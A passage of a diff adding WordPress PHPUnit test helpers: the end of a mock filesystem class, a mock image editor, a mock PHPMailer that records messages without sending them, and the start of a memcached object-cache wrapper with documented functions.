+	 * Sets initial filesystem environment and/or clears the current environment.
+	 * Can also be passed the initial filesystem to be setup which is passed to self::setfs()
+	 */
+	function init( $paths = '', $home_dir = '/' ) {
+		$this->fs = new MockFS_Directory_Node( '/' );
+		$this->fs_map = array(
+			'/' => $this->fs,
+		);
+		$this->cache = array(); // Used by find_folder() and friends
+		$this->cwd = isset( $this->fs_map[ $home_dir ] ) ? $this->fs_map[ $home_dir ] : '/';
+		$this->setfs( $paths );
+	}
+
+	/**
+	 * "Bulk Loads" a filesystem into the internal virtual filesystem
+	 */
+	function setfs( $paths ) {
+		if ( ! is_array($paths) )
+			$paths = explode( "\n", $paths );
+
+		$paths = array_filter( array_map( 'trim', $paths ) );
+
+		foreach ( $paths as $path ) {
+			// Allow for comments
+			if ( '#' == $path[0] )
+				continue;
+
+			// Directories
+			if ( '/' == $path[ strlen($path) -1 ] )
+				$this->mkdir( $path );
+			else // Files (with dummy content for now)
+				$this->put_contents( $path, 'This is a test file' );
+		}
+
+	}
+
+	/**
+	 * Locates a filesystem "node"
+	 */
+	private function locate_node( $path ) {
+		return isset( $this->fs_map[ $path ] ) ? $this->fs_map[ $path ] : false;
+	}
+
+	/**
+	 * Locates a filesystem node for the parent of the given item
+	 */
+	private function locate_parent_node( $path ) {
+		$dirname = str_replace( '\\', '/', dirname( $path ) );
+		return $this->locate_node( trailingslashit( $dirname ) );
+	}
+
+	// Here starteth the WP_Filesystem functions.
+
+	function mkdir( $path, /* Optional args are ignored */ $chmod = false, $chown = false, $chgrp = false ) {
+		$path = trailingslashit( $path );
+
+		$parent_node = $this->locate_parent_node( $path );
+		if ( ! $parent_node ) {
+			$dirname = str_replace( '\\', '/', dirname( $path ) );
+			$this->mkdir( $dirname );
+			$parent_node = $this->locate_parent_node( $path );
+			if ( ! $parent_node )
+				return false;
+		}
+
+		$node = new MockFS_Directory_Node( $path );
+
+		$parent_node->children[ $node->name ] = $node;
+		$this->fs_map[ $path ] = $node;
+
+		return true;
+	}
+
+	function put_contents( $path, $contents = '', $mode = null ) {
+		if ( ! $this->is_dir( dirname( $path ) ) )
+			$this->mkdir( dirname( $path ) );
+
+		$parent = $this->locate_parent_node( $path );
+		$new_file = new MockFS_File_Node( $path, $contents );
+
+		$parent->children[ $new_file->name ] = $new_file;
+		$this->fs_map[ $path ] = $new_file;
+	}
+
+	function get_contents( $file ) {
+		if ( ! $this->is_file( $file ) )
+			return false;
+		return $this->fs_map[ $file ]->contents;
+	}
+
+	function cwd() {
+		return $this->cwd->path;
+	}
+
+	function chdir( $path ) {
+		if ( ! isset( $this->fs_map[ $path ] ) )
+			return false;
+
+		$this->cwd = $this->fs_map[ $path ];
+		return true;
+	}
+
+	function exists( $path ) {
+		return isset( $this->fs_map[ $path ] ) || isset( $this->fs_map[ trailingslashit( $path ) ] );
+	}
+
+	function is_file( $file ) {
+		return isset( $this->fs_map[ $file ] ) && $this->fs_map[ $file ]->is_file();
+	}
+
+	function is_dir( $path ) {
+		$path = trailingslashit( $path );
+
+		return isset( $this->fs_map[ $path ] ) && $this->fs_map[ $path ]->is_dir();
+	}
+
+	function dirlist( $path = '.', $include_hidden = true, $recursive = false ) {
+
+		if ( empty( $path ) || '.' == $path )
+			$path = $this->cwd();
+
+		if ( ! $this->exists( $path ) )
+			return false;
+
+		$limit_file = false;
+		if ( $this->is_file( $path ) ) {
+			$limit_file = $this->locate_node( $path )->name;
+			$path = dirname( $path ) . '/';
+		}
+
+		$ret = array();
+		foreach ( $this->fs_map[ $path ]->children as $entry ) {
+			if ( '.' == $entry->name || '..' == $entry->name )
+				continue;
+
+			if ( ! $include_hidden && '.' == $entry->name )
+				continue;
+
+			if ( $limit_file && $entry->name != $limit_file )
+				continue;
+
+			$struc = array();
+			$struc['name'] = $entry->name;
+			$struc['type'] = $entry->type;
+
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist( trailingslashit( $path ) . trailingslashit( $struc['name'] ), $include_hidden, $recursive );
+				else
+					$struc['files'] = array();
+			}
+
+			$ret[ $entry->name ] = $struc;
+		}
+		return $ret;
+	}
+
+}
+
+class MockFS_Node {
+	public $name; // The "name" of the entry, does not include a slash (exception, root)
+	public $type; // The type of the entry 'f' for file, 'd' for Directory
+	public $path; // The full path to the entry.
+
+	function __construct( $path ) {
+		$this->path = $path;
+		$this->name = basename( $path );
+	}
+
+	function is_file() {
+		return $this->type == 'f';
+	}
+
+	function is_dir() {
+		return $this->type == 'd';
+	}
+}
+
+class MockFS_Directory_Node extends MockFS_Node {
+	public $type = 'd';
+	public $children = array(); // The child nodes of this directory
+}
+
+class MockFS_File_Node extends MockFS_Node {
+	public $type = 'f';
+	public $contents = ''; // The contents of the file
+
+	function __construct( $path, $contents = '' ) {
+		parent::__construct( $path );
+		$this->contents = $contents;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/mock-image-editor.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/mock-image-editor.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/mock-image-editor.php	(revision 56912)
@@ -0,0 +1,48 @@
+<?php
+
+if (class_exists( 'WP_Image_Editor' ) ) :
+
+	class WP_Image_Editor_Mock extends WP_Image_Editor {
+
+		public static $load_return = true;
+		public static $test_return = true;
+		public static $save_return = array();
+
+		// Allow testing of jpeg_quality filter.
+		public function set_mime_type( $mime_type = null ) {
+			$this->mime_type = $mime_type;
+		}
+
+		public function load() {
+			return self::$load_return;
+		}
+		public static function test( $args = array() ) {
+			return self::$test_return;
+		}
+		public static function supports_mime_type( $mime_type ) {
+			return true;
+		}
+		public function resize( $max_w, $max_h, $crop = false ) {
+
+		}
+		public function multi_resize( $sizes ) {
+
+		}
+		public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
+
+		}
+		public function rotate( $angle ) {
+
+		}
+		public function flip( $horz, $vert ) {
+
+		}
+		public function save( $destfilename = null, $mime_type = null ) {
+			return self::$save_return;
+		}
+		public function stream( $mime_type = null ) {
+
+		}
+	}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/includes/mock-mailer.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/mock-mailer.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/mock-mailer.php	(revision 56912)
@@ -0,0 +1,103 @@
+<?php
+require_once( ABSPATH . '/wp-includes/class-phpmailer.php' );
+
+class MockPHPMailer extends PHPMailer {
+	var $mock_sent = array();
+
+	function preSend() {
+		$this->Encoding = '8bit';
+		return parent::preSend();
+	}
+
+	/**
+	 * Override postSend() so mail isn't actually sent.
+	 */
+	function postSend() {
+		$this->mock_sent[] = array(
+			'to'      => $this->to,
+			'cc'      => $this->cc,
+			'bcc'     => $this->bcc,
+			'header'  => $this->MIMEHeader . $this->mailHeader,
+			'subject' => $this->Subject,
+			'body'    => $this->MIMEBody,
+		);
+
+		return true;
+	}
+
+	/**
+	 * Decorator to return the information for a sent mock.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param int $index Optional. Array index of mock_sent value.
+	 * @return object
+	 */
+	public function get_sent( $index = 0 ) {
+		$retval = false;
+		if ( isset( $this->mock_sent[ $index ] ) ) {
+			$retval = (object) $this->mock_sent[ $index ];
+		}
+		return $retval;
+	}
+
+	/**
+	 * Get a recipient for a sent mock.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $address_type    The type of address for the email such as to, cc or bcc.
+	 * @param int    $mock_sent_index Optional. The sent_mock index we want to get the recipient for.
+	 * @param int    $recipient_index Optional. The recipient index in the array.
+	 * @return bool|object Returns object on success, or false if any of the indices don't exist.
+	 */
+	public function get_recipient( $address_type, $mock_sent_index = 0, $recipient_index = 0 ) {
+		$retval = false;
+		$mock = $this->get_sent( $mock_sent_index );
+		if ( $mock ) {
+			if ( isset( $mock->{$address_type}[ $recipient_index ] ) ) {
+				$address_index = $mock->{$address_type}[ $recipient_index ];
+				$recipient_data = array(
+					'address' => ( isset( $address_index[0] ) && ! empty( $address_index[0] ) ) ? $address_index[0] : 'No address set',
+					'name'    => ( isset( $address_index[1] ) && ! empty( $address_index[1] ) ) ? $address_index[1] : 'No name set',
+				);
+
+				$retval = (object) $recipient_data;
+			}
+		}
+
+		return $retval;
+	}
+}
+
+/**
+ * Helper method to return the global phpmailer instance defined in the bootstrap
+ *
+ * @since 4.4.0
+ *
+ * @return object|bool
+ */
+function tests_retrieve_phpmailer_instance() {
+	$mailer = false;
+	if ( isset( $GLOBALS['phpmailer'] ) ) {
+		$mailer = $GLOBALS['phpmailer'];
+	}
+	return $mailer;
+}
+
+/**
+ * Helper method to reset the phpmailer instance.
+ *
+ * @since 4.6.0
+ *
+ * @return bool
+ */
+function reset_phpmailer_instance() {
+	$mailer = tests_retrieve_phpmailer_instance();
+	if ( $mailer ) {
+		$GLOBALS['phpmailer'] = new MockPHPMailer( true );
+		return true;
+	}
+
+	return false;
+}
Index: /tags/5.0.20/tests/phpunit/includes/object-cache.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/object-cache.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/object-cache.php	(revision 56912)
@@ -0,0 +1,2106 @@
+<?php
+/**
+ * Adds a value to cache.
+ *
+ * If the specified key already exists, the value is not stored and the function
+ * returns false.
+ *
+ * @link http://www.php.net/manual/en/memcached.add.php
+ *
+ * @param string    $key        The key under which to store the value.
+ * @param mixed     $value      The value to store.
+ * @param string    $group      The group value appended to the $key.
+ * @param int       $expiration The expiration time, defaults to 0.
+ * @return bool                 Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_add( $key, $value, $group = '', $expiration = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->add( $key, $value, $group, $expiration );
+}
+
+/**
+ * Adds a value to cache on a specific server.
+ *
+ * Using a server_key value, the object can be stored on a specified server as opposed
+ * to a random server in the stack. Note that this method will add the key/value to the
+ * _cache object as part of the runtime cache. It will add it to an array for the
+ * specified server_key.
+ *
+ * @link http://www.php.net/manual/en/memcached.addbykey.php
+ *
+ * @param string    $server_key     The key identifying the server to store the value on.
+ * @param string    $key            The key under which to store the value.
+ * @param mixed     $value          The value to store.
+ * @param string    $group          The group value appended to the $key.
+ * @param int       $expiration     The expiration time, defaults to 0.
+ * @return bool                     Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_add_by_key( $server_key, $key, $value, $group = '', $expiration = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->addByKey( $server_key, $key, $value, $group, $expiration );
+}
+
+/**
+ * Add a single server to the list of Memcached servers.
+ *
+ * @link http://www.php.net/manual/en/memcached.addserver.php
+ *
+ * @param string        $host   The hostname of the memcache server.
+ * @param int           $port   The port on which memcache is running.
+ * @param int           $weight The weight of the server relative to the total weight of all the servers in the pool.
+ * @return bool                 Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_add_server( $host, $port, $weight = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->addServer( $host, $port, $weight );
+}
+
+/**
+ * Adds an array of servers to the pool.
+ *
+ * Each individual server in the array must include a domain and port, with an optional
+ * weight value: $servers = array( array( '127.0.0.1', 11211, 0 ) );
+ *
+ * @link http://www.php.net/manual/en/memcached.addservers.php
+ *
+ * @param array     $servers    Array of server to register.
+ * @return bool                 True on success; false on failure.
+ */
+function wp_cache_add_servers( $servers ) {
+	global $wp_object_cache;
+	return $wp_object_cache->addServers( $servers );
+}
+
+/**
+ * Append data to an existing item.
+ *
+ * This method should throw an error if it is used with compressed data. This
+ * is an expected behavior. Memcached casts the value to be appended to the initial value to the
+ * type of the initial value. Be careful as this leads to unexpected behavior at times. Due to
+ * how memcached treats types, the behavior has been mimicked in the internal cache to produce
+ * similar results and improve consistency. It is recommend that appends only occur with data of
+ * the same type.
+ *
+ * @link http://www.php.net/manual/en/memcached.append.php
+ *
+ * @param string    $key    The key under which to store the value.
+ * @param mixed     $value  Must be string as appending mixed values is not well-defined
+ * @param string    $group  The group value appended to the $key.
+ * @return bool             Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_append( $key, $value, $group = '' ) {
+	global $wp_object_cache;
+	return $wp_object_cache->append( $key, $value, $group );
+}
+
+/**
+ * Append data to an existing item by server key.
+ *
+ * This method should throw an error if it is used with compressed data. This
+ * is an expected behavior. Memcached casts the value to be appended to the initial value to the
+ * type of the initial value. Be careful as this leads to unexpected behavior at times. Due to
+ * how memcached treats types, the behavior has been mimicked in the internal cache to produce
+ * similar results and improve consistency. It is recommend that appends only occur with data of
+ * the same type.
+ *
+ * @link http://www.php.net/manual/en/memcached.appendbykey.php
+ *
+ * @param string    $server_key     The key identifying the server to store the value on.
+ * @param string    $key            The key under which to store the value.
+ * @param mixed     $value          Must be string as appending mixed values is not well-defined
+ * @param string    $group          The group value appended to the $key.
+ * @return bool                     Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_append_by_key( $server_key, $key, $value, $group = '' ) {
+	global $wp_object_cache;
+	return $wp_object_cache->appendByKey( $server_key, $key, $value, $group );
+}
+
+/**
+ * Performs a "check and set" to store data.
+ *
+ * The set will be successful only if the no other request has updated the value since it was fetched by
+ * this request.
+ *
+ * @link http://www.php.net/manual/en/memcached.cas.php
+ *
+ * @param float     $cas_token  Unique value associated with the existing item. Generated by memcached.
+ * @param string    $key        The key under which to store the value.
+ * @param mixed     $value      The value to store.
+ * @param string    $group      The group value appended to the $key.
+ * @param int       $expiration The expiration time, defaults to 0.
+ * @return bool                 Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_cas( $cas_token, $key, $value, $group = '', $expiration = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->cas( $cas_token, $key, $value, $group, $expiration );
+}
+
+/**
+ * Performs a "check and set" to store data with a server key.
+ *
+ * The set will be successful only if the no other request has updated the value since it was fetched by
+ * this request.
+ *
+ * @link http://www.php.net/manual/en/memcached.casbykey.php
+ *
+ * @param string    $server_key The key identifying the server to store the value on.
+ * @param float     $cas_token  Unique value associated with the existing item. Generated by memcached.
+ * @param string    $key        The key under which to store the value.
+ * @param mixed     $value      The value to store.
+ * @param string    $group      The group value appended to the $key.
+ * @param int       $expiration The expiration time, defaults to 0.
+ * @return bool                 Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_cas_by_key( $cas_token, $server_key, $key, $value, $group = '', $expiration = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->casByKey( $cas_token, $server_key, $key, $value, $group, $expiration );
+}
+
+/**
+ * Closes the cache.
+ *
+ * This function has ceased to do anything since WordPress 2.5. The
+ * functionality was removed along with the rest of the persistent cache. This
+ * does not mean that plugins can't implement this function when they need to
+ * make sure that the cache is cleaned up after WordPress no longer needs it.
+ *
+ * @since 2.0.0
+ *
+ * @return  bool    Always returns True
+ */
+function wp_cache_close() {
+	return true;
+}
+
+/**
+ * Decrement a numeric item's value.
+ *
+ * @link http://www.php.net/manual/en/memcached.decrement.php
+ *
+ * @param string    $key    The key under which to store the value.
+ * @param int       $offset The amount by which to decrement the item's value.
+ * @param string    $group  The group value appended to the $key.
+ * @return int|bool         Returns item's new value on success or FALSE on failure.
+ */
+function wp_cache_decrement( $key, $offset = 1, $group = '' ) {
+	global $wp_object_cache;
+	return $wp_object_cache->decrement( $key, $offset, $group );
+}
+
+/**
+ * Decrement a numeric item's value.
+ *
+ * Same as wp_cache_decrement. Original WordPress caching backends use wp_cache_decr. I
+ * want both spellings to work.
+ *
+ * @link http://www.php.net/manual/en/memcached.decrement.php
+ *
+ * @param string    $key    The key under which to store the value.
+ * @param int       $offset The amount by which to decrement the item's value.
+ * @param string    $group  The group value appended to the $key.
+ * @return int|bool         Returns item's new value on success or FALSE on failure.
+ */
+function wp_cache_decr( $key, $offset = 1, $group = '' ) {
+	return wp_cache_decrement( $key, $offset, $group );
+}
+
+/**
+ * Remove the item from the cache.
+ *
+ * Remove an item from memcached with identified by $key after $time seconds. The
+ * $time parameter allows an object to be queued for deletion without immediately
+ * deleting. Between the time that it is queued and the time it's deleted, add,
+ * replace, and get will fail, but set will succeed.
+ *
+ * @link http://www.php.net/manual/en/memcached.delete.php
+ *
+ * @param string    $key    The key under which to store the value.
+ * @param string    $group  The group value appended to the $key.
+ * @param int       $time   The amount of time the server will wait to delete the item in seconds.
+ * @return bool             Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_delete( $key, $group = '', $time = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->delete( $key, $group, $time );
+}
+
+/**
+ * Remove the item from the cache by server key.
+ *
+ * Remove an item from memcached with identified by $key after $time seconds. The
+ * $time parameter allows an object to be queued for deletion without immediately
+ * deleting. Between the time that it is queued and the time it's deleted, add,
+ * replace, and get will fail, but set will succeed.
+ *
+ * @link http://www.php.net/manual/en/memcached.deletebykey.php
+ *
+ * @param string        $server_key The key identifying the server to store the value on.
+ * @param string        $key        The key under which to store the value.
+ * @param string        $group      The group value appended to the $key.
+ * @param int           $time       The amount of time the server will wait to delete the item in seconds.
+ * @return bool                     Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_delete_by_key( $server_key, $key, $group = '', $time = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->deleteByKey( $server_key, $key, $group, $time );
+}
+
+/**
+ * Fetch the next result.
+ *
+ * @link http://www.php.net/manual/en/memcached.fetch.php
+ *
+ * @return  array|bool   Returns the next result or FALSE otherwise.
+ */
+function wp_cache_fetch() {
+	global $wp_object_cache;
+	return $wp_object_cache->fetch();
+}
+
+/**
+ * Fetch all remaining results from the last request.
+ *
+ * @link http://www.php.net/manual/en/memcached.fetchall.php
+ *
+ * @return  array|bool  Returns the results or FALSE on failure.
+ */
+function wp_cache_fetch_all() {
+	global $wp_object_cache;
+	return $wp_object_cache->fetchAll();
+}
+
+/**
+ * Invalidate all items in the cache.
+ *
+ * @link http://www.php.net/manual/en/memcached.flush.php
+ *
+ * @param int       $delay  Number of seconds to wait before invalidating the items.
+ * @return bool             Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_flush( $delay = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->flush( $delay );
+}
+
+/**
+ * Retrieve object from cache.
+ *
+ * Gets an object from cache based on $key and $group. In order to fully support the $cache_cb and $cas_token
+ * parameters, the runtime cache is ignored by this function if either of those values are set. If either of
+ * those values are set, the request is made directly to the memcached server for proper handling of the
+ * callback and/or token.
+ *
+ * Note that the $deprecated and $found args are only here for compatibility with the native wp_cache_get function.
+ *
+ * @link http://www.php.net/manual/en/memcached.get.php
+ *
+ * @param string        $key        The key under which to store the value.
+ * @param string        $group      The group value appended to the $key.
+ * @param bool          $force      Whether or not to force a cache invalidation.
+ * @param null|bool     $found      Variable passed by reference to determine if the value was found or not.
+ * @param null|string   $cache_cb   Read-through caching callback.
+ * @param null|float    $cas_token  The variable to store the CAS token in.
+ * @return bool|mixed               Cached object value.
+ */
+function wp_cache_get( $key, $group = '', $force = false, &$found = null, $cache_cb = null, &$cas_token = null ) {
+	global $wp_object_cache;
+
+	if ( func_num_args() > 4 )
+		return $wp_object_cache->get( $key, $group, $force, $found, '', false, $cache_cb, $cas_token );
+	else
+		return $wp_object_cache->get( $key, $group, $force, $found );
+}
+
+/**
+ * Retrieve object from cache from specified server.
+ *
+ * Gets an object from cache based on $key, $group and $server_key. In order to fully support the $cache_cb and $cas_token
+ * parameters, the runtime cache is ignored by this function if either of those values are set. If either of
+ * those values are set, the request is made directly to the memcached server for proper handling of the
+ * callback and/or token.
+ *
+ * @link http://www.php.net/manual/en/memcached.getbykey.php
+ *
+ * @param string        $server_key The key identifying the server to store the value on.
+ * @param string        $key        The key under which to store the value.
+ * @param string        $group      The group value appended to the $key.
+ * @param bool          $force      Whether or not to force a cache invalidation.
+ * @param null|bool     $found      Variable passed by reference to determine if the value was found or not.
+ * @param null|string   $cache_cb   Read-through caching callback.
+ * @param null|float    $cas_token  The variable to store the CAS token in.
+ * @return bool|mixed               Cached object value.
+ */
+function wp_cache_get_by_key( $server_key, $key, $group = '', $force = false, &$found = null, $cache_cb = NULL, &$cas_token = NULL ) {
+	global $wp_object_cache;
+
+	if ( func_num_args() > 5 )
+		return $wp_object_cache->getByKey( $server_key, $key, $group, $force, $found, $cache_cb, $cas_token );
+	else
+		return $wp_object_cache->getByKey( $server_key, $key, $group, $force, $found );
+}
+
+/**
+ * Request multiple keys without blocking.
+ *
+ * @link http://www.php.net/manual/en/memcached.getdelayed.php
+ *
+ * @param string|array  $keys       Array or string of key(s) to request.
+ * @param string|array  $groups     Array or string of group(s) for the key(s). See buildKeys for more on how these are handled.
+ * @param bool          $with_cas   Whether to request CAS token values also.
+ * @param null          $value_cb   The result callback or NULL.
+ * @return bool                     Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_get_delayed( $keys, $groups = '', $with_cas = false, $value_cb = NULL ) {
+	global $wp_object_cache;
+	return $wp_object_cache->getDelayed( $keys, $groups, $with_cas, $value_cb );
+}
+
+/**
+ * Request multiple keys without blocking from a specified server.
+ *
+ * @link http://www.php.net/manual/en/memcached.getdelayed.php
+ *
+ * @param string        $server_key The key identifying the server to store the value on.
+ * @param string|array  $keys       Array or string of key(s) to request.
+ * @param string|array  $groups     Array or string of group(s) for the key(s). See buildKeys for more on how these are handled.
+ * @param bool          $with_cas   Whether to request CAS token values also.
+ * @param null          $value_cb   The result callback or NULL.
+ * @return bool                     Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_get_delayed_by_key( $server_key, $keys, $groups = '', $with_cas = false, $value_cb = NULL ) {
+	global $wp_object_cache;
+	return $wp_object_cache->getDelayedByKey( $server_key, $keys, $groups, $with_cas, $value_cb );
+}
+
+/**
+ * Gets multiple values from memcached in one request.
+ *
+ * See the buildKeys method definition to understand the $keys/$groups parameters.
+ *
+ * @link http://www.php.net/manual/en/memcached.getmulti.php
+ *
+ * @param array         $keys       Array of keys to retrieve.
+ * @param string|array  $groups     If string, used for all keys. If arrays, corresponds with the $keys array.
+ * @param null|array    $cas_tokens The variable to store the CAS tokens for the found items.
+ * @param int           $flags      The flags for the get operation.
+ * @return bool|array               Returns the array of found items or FALSE on failure.
+ */
+function wp_cache_get_multi( $keys, $groups = '', &$cas_tokens = NULL, $flags = NULL ) {
+	global $wp_object_cache;
+
+	if ( func_num_args() > 2 )
+		return $wp_object_cache->getMulti( $keys, $groups, '', $cas_tokens, $flags );
+	else
+		return $wp_object_cache->getMulti( $keys, $groups );
+}
+
+/**
+ * Gets multiple values from memcached in one request by specified server key.
+ *
+ * See the buildKeys method definition to understand the $keys/$groups parameters.
+ *
+ * @link http://www.php.net/manual/en/memcached.getmultibykey.php
+ *
+ * @param string        $server_key The key identifying the server to store the value on.
+ * @param array         $keys       Array of keys to retrieve.
+ * @param string|array  $groups     If string, used for all keys. If arrays, corresponds with the $keys array.
+ * @param null|array    $cas_tokens The variable to store the CAS tokens for the found items.
+ * @param int           $flags      The flags for the get operation.
+ * @return bool|array               Returns the array of found items or FALSE on failure.
+ */
+function wp_cache_get_multi_by_key( $server_key, $keys, $groups = '', &$cas_tokens = NULL, $flags = NULL ) {
+	global $wp_object_cache;
+
+	if ( func_num_args() > 3 )
+		return $wp_object_cache->getMultiByKey( $server_key, $keys, $groups, $cas_tokens, $flags );
+	else
+		return $wp_object_cache->getMultiByKey( $server_key, $keys, $groups );
+}
+
+/**
+ * Retrieve a Memcached option value.
+ *
+ * @link http://www.php.net/manual/en/memcached.getoption.php
+ *
+ * @param int   $option One of the Memcached::OPT_* constants.
+ * @return mixed        Returns the value of the requested option, or FALSE on error.
+ */
+function wp_cache_get_option( $option ) {
+	global $wp_object_cache;
+	return $wp_object_cache->getOption( $option );
+}
+
+/**
+ * Return the result code of the last option.
+ *
+ * @link http://www.php.net/manual/en/memcached.getresultcode.php
+ *
+ * @return int  Result code of the last Memcached operation.
+ */
+function wp_cache_get_result_code() {
+	global $wp_object_cache;
+	return $wp_object_cache->getResultCode();
+}
+
+/**
+ * Return the message describing the result of the last operation.
+ *
+ * @link http://www.php.net/manual/en/memcached.getresultmessage.php
+ *
+ * @return string   Message describing the result of the last Memcached operation.
+ */
+function wp_cache_get_result_message() {
+	global $wp_object_cache;
+	return $wp_object_cache->getResultMessage();
+}
+
+/**
+ * Get server information by key.
+ *
+ * @link http://www.php.net/manual/en/memcached.getserverbykey.php
+ *
+ * @param string    $server_key The key identifying the server to store the value on.
+ * @return array                Array with host, post, and weight on success, FALSE on failure.
+ */
+function wp_cache_get_server_by_key( $server_key ) {
+	global $wp_object_cache;
+	return $wp_object_cache->getServerByKey( $server_key );
+}
+
+/**
+ * Get the list of servers in the pool.
+ *
+ * @link http://www.php.net/manual/en/memcached.getserverlist.php
+ *
+ * @return array    The list of all servers in the server pool.
+ */
+function wp_cache_get_server_list() {
+	global $wp_object_cache;
+	return $wp_object_cache->getServerList();
+}
+
+/**
+ * Get server pool statistics.
+ *
+ * @link http://www.php.net/manual/en/memcached.getstats.php
+ *
+ * @return array    Array of server statistics, one entry per server.
+ */
+function wp_cache_get_stats() {
+	global $wp_object_cache;
+	return $wp_object_cache->getStats();
+}
+
+/**
+ * Get server pool memcached version information.
+ *
+ * @link http://www.php.net/manual/en/memcached.getversion.php
+ *
+ * @return array    Array of server versions, one entry per server.
+ */
+function wp_cache_get_version() {
+	global $wp_object_cache;
+	return $wp_object_cache->getVersion();
+}
+
+/**
+ * Increment a numeric item's value.
+ *
+ * @link http://www.php.net/manual/en/memcached.increment.php
+ *
+ * @param string    $key    The key under which to store the value.
+ * @param int       $offset The amount by which to increment the item's value.
+ * @param string    $group  The group value appended to the $key.
+ * @return int|bool         Returns item's new value on success or FALSE on failure.
+ */
+function wp_cache_increment( $key, $offset = 1, $group = '' ) {
+	global $wp_object_cache;
+	return $wp_object_cache->increment( $key, $offset, $group );
+}
+
+/**
+ * Increment a numeric item's value.
+ *
+ * This is the same as wp_cache_increment, but kept for back compatibility. The original
+ * WordPress caching backends use wp_cache_incr. I want both to work.
+ *
+ * @link http://www.php.net/manual/en/memcached.increment.php
+ *
+ * @param string    $key    The key under which to store the value.
+ * @param int       $offset The amount by which to increment the item's value.
+ * @param string    $group  The group value appended to the $key.
+ * @return int|bool         Returns item's new value on success or FALSE on failure.
+ */
+function wp_cache_incr( $key, $offset = 1, $group = '' ) {
+	return wp_cache_increment( $key, $offset, $group );
+}
+
+/**
+ * Prepend data to an existing item.
+ *
+ * This method should throw an error if it is used with compressed data. This is an expected behavior.
+ * Memcached casts the value to be prepended to the initial value to the type of the initial value. Be
+ * careful as this leads to unexpected behavior at times. For instance, prepending (float) 45.23 to
+ * (int) 23 will result in 45, because the value is first combined (45.2323) then cast to "integer"
+ * (the original value), which will be (int) 45. Due to how memcached treats types, the behavior has been
+ * mimicked in the internal cache to produce similar results and improve consistency. It is recommend
+ * that prepends only occur with data of the same type.
+ *
+ * @link http://www.php.net/manual/en/memcached.prepend.php
+ *
+ * @param string    $key    The key under which to store the value.
+ * @param string    $value  Must be string as prepending mixed values is not well-defined.
+ * @param string    $group  The group value prepended to the $key.
+ * @return bool             Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_prepend( $key, $value, $group = '' ) {
+	global $wp_object_cache;
+	return $wp_object_cache->prepend( $key, $value, $group );
+}
+
+/**
+ * Append data to an existing item by server key.
+ *
+ * This method should throw an error if it is used with compressed data. This is an expected behavior.
+ * Memcached casts the value to be prepended to the initial value to the type of the initial value. Be
+ * careful as this leads to unexpected behavior at times. For instance, prepending (float) 45.23 to
+ * (int) 23 will result in 45, because the value is first combined (45.2323) then cast to "integer"
+ * (the original value), which will be (int) 45. Due to how memcached treats types, the behavior has been
+ * mimicked in the internal cache to produce similar results and improve consistency. It is recommend
+ * that prepends only occur with data of the same type.
+ *
+ * @link http://www.php.net/manual/en/memcached.prependbykey.php
+ *
+ * @param string    $server_key     The key identifying the server to store the value on.
+ * @param string    $key            The key under which to store the value.
+ * @param string    $value          Must be string as prepending mixed values is not well-defined.
+ * @param string    $group          The group value prepended to the $key.
+ * @return bool                     Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_prepend_by_key( $server_key, $key, $value, $group = '' ) {
+	global $wp_object_cache;
+	return $wp_object_cache->prependByKey( $server_key, $key, $value, $group );
+}
+
+/**
+ * Replaces a value in cache.
+ *
+ * This method is similar to "add"; however, is does not successfully set a value if
+ * the object's key is not already set in cache.
+ *
+ * @link http://www.php.net/manual/en/memcached.replace.php
+ *
+ * @param string    $key        The key under which to store the value.
+ * @param mixed     $value      The value to store.
+ * @param string    $group      The group value appended to the $key.
+ * @param int       $expiration The expiration time, defaults to 0.
+ * @return bool                 Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_replace( $key, $value, $group = '', $expiration = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->replace( $key, $value, $group, $expiration );
+}
+
+/**
+ * Replaces a value in cache on a specific server.
+ *
+ * This method is similar to "addByKey"; however, is does not successfully set a value if
+ * the object's key is not already set in cache.
+ *
+ * @link http://www.php.net/manual/en/memcached.addbykey.php
+ *
+ * @param string    $server_key     The key identifying the server to store the value on.
+ * @param string    $key            The key under which to store the value.
+ * @param mixed     $value          The value to store.
+ * @param string    $group          The group value appended to the $key.
+ * @param int       $expiration     The expiration time, defaults to 0.
+ * @return bool                     Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_replace_by_key( $server_key, $key, $value, $group = '', $expiration = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->replaceByKey( $server_key, $key, $value, $group, $expiration );
+}
+
+/**
+ * Sets a value in cache.
+ *
+ * The value is set whether or not this key already exists in memcached.
+ *
+ * @link http://www.php.net/manual/en/memcached.set.php
+ *
